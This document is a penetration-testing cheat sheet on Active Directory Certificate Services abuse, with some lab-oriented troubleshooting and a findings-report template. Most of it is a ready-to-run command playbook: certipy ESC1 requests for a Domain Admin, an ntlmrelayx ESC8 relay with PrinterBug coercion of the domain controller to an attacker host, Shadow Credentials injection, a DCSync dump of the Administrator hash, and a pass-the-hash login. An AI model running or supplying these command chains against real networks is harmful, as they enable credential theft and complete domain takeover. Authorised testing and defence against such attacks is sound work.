🛡️ Methodology Checklist

  • Identify ADCS CA: certutil -config - -ping
  • Enumerate templates: certipy find -u [USER] -p [PASS] -dc-ip [DC_IP] -vulnerable
  • Identify ESC1 (SAN in template) or other ESC misconfigurations
  • Request cert with alt SAN: certipy req -u [USER] -p [PASS] -ca [CA] -template [TEMPLATE] -upn [TARGET_USER]@[DOMAIN]
  • Authenticate with cert: certipy auth -pfx [cert.pfx] -dc-ip [DC_IP]
  • Use returned NT hash for PtH or DCSync

🎯 Operational Context

Use when: AD Certificate Services (ADCS) is deployed and a certificate has been obtained for a user or computer — use PKINIT to get a TGT without knowing the password. Think Dumber First: If ESC1 (enrollee can supply subject), request cert for DA: certipy req -u [USER]@[DOMAIN] -p [PASS] -ca [CA] -template [VULN_TEMPLATE] -upn [DA_USER]@[DOMAIN]. Then certipy auth -pfx [DA_CERT].pfx -dc-ip [DC] for TGT and NTLM hash. Skip when: No ADCS deployed or no vulnerable certificate template available.


⚡ Tactical Cheatsheet

CommandTactical Outcome
impacket-ntlmrelayx -t http://[CA_IP]/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthenticationRelay DC auth to CA web enrollment (ESC8)
python3 printerbug.py [DOMAIN]/[USER]:[PASS]@[DC_IP] [LHOST]Coerce DC authentication via PrinterBug
git clone https://github.com/dirkjanm/PKINITtools.git && pip3 install -r requirements.txtInstall PKINITtools
python3 gettgtpkinit.py -cert-pfx DC01$.pfx -dc-ip [DC_IP] [DOMAIN]/DC01$ /tmp/dc01.ccacheConvert .pfx certificate to Kerberos TGT
export KRB5CCNAME=/tmp/dc01.ccache && klistActivate and verify certificate-derived ticket
python3 secretsdump.py -k -no-pass [DOMAIN]/DC01$@[DC_HOSTNAME] -just-dc-user AdministratorDCSync using DC machine account ticket
pywhisker --dc-ip [DC_IP] -d [DOMAIN] -u [USER] -p [PASS] --target [TARGET_USER] --action addShadow Credentials: inject certificate into target account
python3 gettgtpkinit.py -cert-pfx [FILE].pfx -pfx-pass [PFX_PASS] -dc-ip [DC_IP] [DOMAIN]/[TARGET_USER] /tmp/target.ccacheGet TGT using shadow credentials certificate
python3 getnthash.py -key [AS_REP_KEY] -dc-ip [DC_IP] [DOMAIN]/[TARGET_USER]Extract NTLM hash from certificate authentication session
evil-winrm -i [TARGET_IP] -u [TARGET_USER] -H [NTLM_HASH]Login with extracted hash
sudo ntpdate [DC_IP]Fix clock skew (Kerberos clock tolerance is 5 min)

🔬 Deep Dive & Workflow

PKINIT — Certificate-Based Kerberos Auth

PKINIT (Public Key Cryptography for Initial Authentication) allows Kerberos TGT requests using X.509 certificates instead of passwords. Normally used for smart card authentication. Attackers abuse it with stolen or forged certificates.

Attack Path 1 — AD CS ESC8 Relay (DC Compromise)

Goal: Force DC to authenticate to attacker → relay to CA → receive certificate for the DC machine account → DCSync

ntlmrelayx ← relay target (CA web enrollment)
PrinterBug → coerce DC01 to authenticate to attacker
→ ntlmrelayx receives DC01$ credentials
→ enrolls DC01$.pfx certificate from CA
# Step 1: Start relay listener
impacket-ntlmrelayx -t http://[CA_IP]/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication
 
# Step 2: Coerce DC authentication
python3 printerbug.py [DOMAIN]/[USER]:[PASS]@[DC_IP] [LHOST]
 
# Step 3: Convert cert to TGT
python3 gettgtpkinit.py -cert-pfx DC01$.pfx -dc-ip [DC_IP] [DOMAIN]/DC01$ /tmp/dc01.ccache
 
# Step 4: DCSync
export KRB5CCNAME=/tmp/dc01.ccache
python3 secretsdump.py -k -no-pass [DOMAIN]/DC01$@dc01.[DOMAIN] -just-dc-user Administrator

Identity matters: DC machine account (DC01$) gives replication rights → DCSync. User certs give only user-level access.

Attack Path 2 — Shadow Credentials (Write Permission Required)

Goal: If you have AddKeyCredentialLink write permission on a target user object, inject your own certificate.

# 1. Inject certificate (save the PFX filename and password from output)
pywhisker --dc-ip [DC_IP] -d [DOMAIN] -u [USER] -p [PASS] --target [TARGET_USER] --action add
 
# 2. Get TGT as target
python3 gettgtpkinit.py -cert-pfx [FILE].pfx -pfx-pass [PFX_PASS] -dc-ip [DC_IP] [DOMAIN]/[TARGET_USER] /tmp/target.ccache
 
# 3. Extract NTLM from session key (look for "AS-REP encryption key" in gettgtpkinit output)
python3 getnthash.py -key [AS_REP_KEY] -dc-ip [DC_IP] [DOMAIN]/[TARGET_USER]
 
# 4. Use hash directly (avoids Kerberos DNS requirements)
evil-winrm -i [TARGET_IP] -u [TARGET_USER] -H [NTLM_HASH]

Troubleshooting

ErrorFix
KDC_ERR_WRONG_REALMCheck domain spelling — .LOCAL vs .HTB
Name or service not knownAdd DC hostname to /etc/hosts
Connection refused on port 88Wrong IP — port 88 is on DC, not CA
Clock skew too greatsudo ntpdate [DC_IP] — must be within 5 min

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
certipy not installedMissing toolInstall: pip3 install certipy-ad; use certipy-ad command after install
Certificate enrollment failsTemplate not allowing enrollmentCheck template permissions: certipy find -u [USER]@[DOMAIN] -p [PASS] -dc-ip [DC] -vulnerable
PKINIT fails with KDC errorPKINIT not configured on DCVerify: DCs must have PKINIT enabled and DC cert issued; some labs lack this
pfx auth returns errorWrong DC IP or clock skewSync time; use primary DC IP; add -domain [DOMAIN] explicitly
Shadow credentials attack alternativeNo vulnerable templateIf GenericWrite on target: certipy shadow auto -u [USER]@[DOMAIN] -p [PASS] -account [TARGET]

📝 Reporting Trigger

Finding Title: ADCS Vulnerable Certificate Template Enables Domain Privilege Escalation Impact: Misconfigured certificate template (ESC1-ESC8) allows requesting a certificate for any domain account including Domain Admin, enabling PKINIT authentication as that account and full domain compromise without password knowledge. Root Cause: Active Directory Certificate Services template misconfiguration allows certificate subject override or unrestricted enrollment by standard users. Recommendation: Run Certipy or PSPKIAudit against all ADCS deployments to identify vulnerable templates. Disable Manager Approval Issuance on vulnerable templates. Restrict enrollment permissions. Monitor for unusual certificate enrollment patterns via ADCS audit logs.